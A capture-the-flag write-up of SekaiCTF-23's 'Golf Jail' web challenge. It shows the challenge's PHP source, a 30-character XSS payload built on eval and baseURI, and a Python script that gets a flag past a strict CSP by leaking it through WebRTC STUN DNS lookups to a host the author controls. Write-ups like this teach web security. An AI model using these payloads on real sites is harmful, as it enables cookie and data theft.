SekaiCTF-23
Web - Golf Jail
I hope you like golfing ⛳🏌️⛳🏌️
Stats : 16 solves / 475 pts
Difficulty: ⭐⭐⭐⭐
Author: strellic
Introduction
The challenge code is really small, it’s ~24 lines of code
<?php
header("Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; script-src 'unsafe-inline' 'unsafe-eval';");
header("Cross-Origin-Opener-Policy: same-origin");
$payload = "🚩🚩🚩";
if (isset($_GET["xss"]) && is_string($_GET["xss"]) && strlen($_GET["xss"]) <= 30) {
$payload = $_GET["xss"];
}
$flag = "SEKAI{test_flag}";
if (isset($_COOKIE["flag"]) && is_string($_COOKIE["flag"])) {
$flag = $_COOKIE["flag"];
}
?>
<!DOCTYPE html>
<html>
<body>
<iframe
sandbox="allow-scripts"
srcdoc="<!-- <?php echo htmlspecialchars($flag) ?> --><div><?php echo htmlspecialchars($payload); ?></div>"
></iframe>
</body>
</html>
The idea is straightforward here, we need to achieve XSS with just 30 chars and bypassing this really strict CSP
Day 1 - Chasing the rabbit down the hole
Although the idea of the challenge is really simple, it’s really hard to find a proper way to exploit it. The first thing that came to my mind was to look for some really tiny XSS payload , so i googled for tiny xss
and looked if i can find something useful.
With no surprise the shortest payload that i’ve found was <svg/onload=eval(name)>
which is 23 chars long. I thought that maybe i can find something even smaller but apparently this is the shortest at the moment.
How this payload works by the way? It’s indeed simple because name
is a shorthand for window.name
which is a variable that contains the name of the window in the browsing context. The really cool thing is that we can set the window.name
property using the second parameter of the window.open
function. So if we can make the bot visit a site that we control we can open a new window with an arbitrary name and evaluate it to achieve xss
But in our case this won’t work, because the bot will only visits url that matches this regex /^https:\/\/golfjail\.chals\.sekai\.team\//
Another payload that i thought about was to use location.hash
but this will be way more chars than the one allowed Looking through https://tinyxss.terjanq.me/ i’ve found about this payload <script/src=//NJ.₨></script>
which is 27 chars long But even this one won’t work due to strict CSP which states script-src 'unsafe-inline' 'unsafe-eval'
so no external scripts allowed
At this point it started to become frustrating, but suddenly i remembered about a challenge written by @aszx87410 about an XSS with a very strict chars limit
So i googled aszx87410 0222 intigriti
to try to find some new inspiration
It’s all about URL
The writeup for the challenge (and obviously the challenge) is really good. Here the author consider a payload that i haven’t thought about before
<svg/onload=eval(`'`+URL)>
In the writeup is explained perfectly how the payload is supposed to work, and how to craft an url that fits the eval
and can be used to execute javascript code
All we need to know for the challenge purposes was that if we supply an URL like this
https://golfjail.chals.sekai.team/?xss=<svg/onload=eval(`'`+URL)>#';console.log(1)
The xss parameter will be less than 30 chars, and the URL will be valid syntax to be evaluated from eval
to achieve XSS
So were is the problem here? It’s simple, this won't work anymore. Beacause URL is a function and doesn’t give the URL of the page so this seems like a dead end
Ok seriously now i was on the verge of a mental breakdown, so i decided that it was better to go to sleep and start the morning after
Day 2 - Do you believe in magic?
It was clear at this point that we need some sort of placeholder in order to bypass the chars limit, and the only thing we can control was the URL only. So i started digging into the js documentation, html specification and every kind of blog-post regarding javascript to find the tiniest spark of hope to get XSS
After 2 or 3 hours of digging in depth of the web and after a bit of fuzzing i’ve found this property Node.baseURI
which returns the absolute base URL of the document containing the node This was interesting enough to spend some time on time, but i was completely shocked when from inside the iframe the document.baseURI
property returned the location of the top window
This literally blew my mind, but now i knew which placeholder i can use to bypass the 30 chars length
<svg/onload=eval(`'`+baseURI)>
The last thing to mention here is that we can omit document
and just use baseURI
because document
is implicitly used, so the payload will be exactly 30 chars !
Stealing strellic exploit
Ok, so we have xss and now we need to exfiltrate the flag. Fortunately this part was easy for me because right from the start i knew a way to bypass that really strict CSP. The way is webRTC . Why do i knew it? From another strellic challenge of course. The challenge was released in the corCTF23 and the name is crabspace, which basically uses webRTC to exfiltrate data So i stolen borrowed the payload from his writeup and used it to perform exfiltration
Leaking all the things
I’ve automated the exploit due to the fact that i’ve had some hard time to exfiltrate data via webRTC because of some special chars in the flag. Basically what i did in the exploit was to take the flag from inside the iframe via document.firstChild.textContent
and split it by the underscore to leak it word by word
The funny part here is that when i’ve tried to leak the last word of the flag, something didn’t work apparently so my guess was that there will be some special chars at the end of the word that breaks the DNS query So i need to tweak my exploit a bit to leak the flag
import requests
import base64
URL = "https://golfjail.chals.sekai.team/?xss=<svg/onload=eval(`'`%2bbaseURI)>#';"
payload = """
var index = 0;
var pay=document.firstChild.textContent.trim().split('{')[1].split('}')[0].split("_")[index];
pc = new RTCPeerConnection({'iceServers':[{'urls':['stun:'+pay+'.my_mess_with_dns']}]});
pc.createOffer({offerToReceiveAudio:1}).then(o=>pc.setLocalDescription(o));
"""
payload = payload.replace("\n","")
payload = base64.b64encode(payload.encode())
payload = b"eval(atob('"+payload+b"'))";
print(URL+payload.decode("utf-8"))
#SEKAI{jsjails_4re_b3tter_th4n_pyjai1s!}
Notice that has i’ve said before, you need to change the index
value every time to leak every word, and for the last word i’ve exfiltrated all of it besides the last char. To be more specific, the last char was exfiltrated by taking is charCode and leaking it, then i converted it back to its original value
Conclusion
The challenge was really fun to play and i’ve learn a lot of new things. As always strelli challs are a goldmine, definitely want to play the other challenge which is leakless-note in order to learn novel xs-leak technique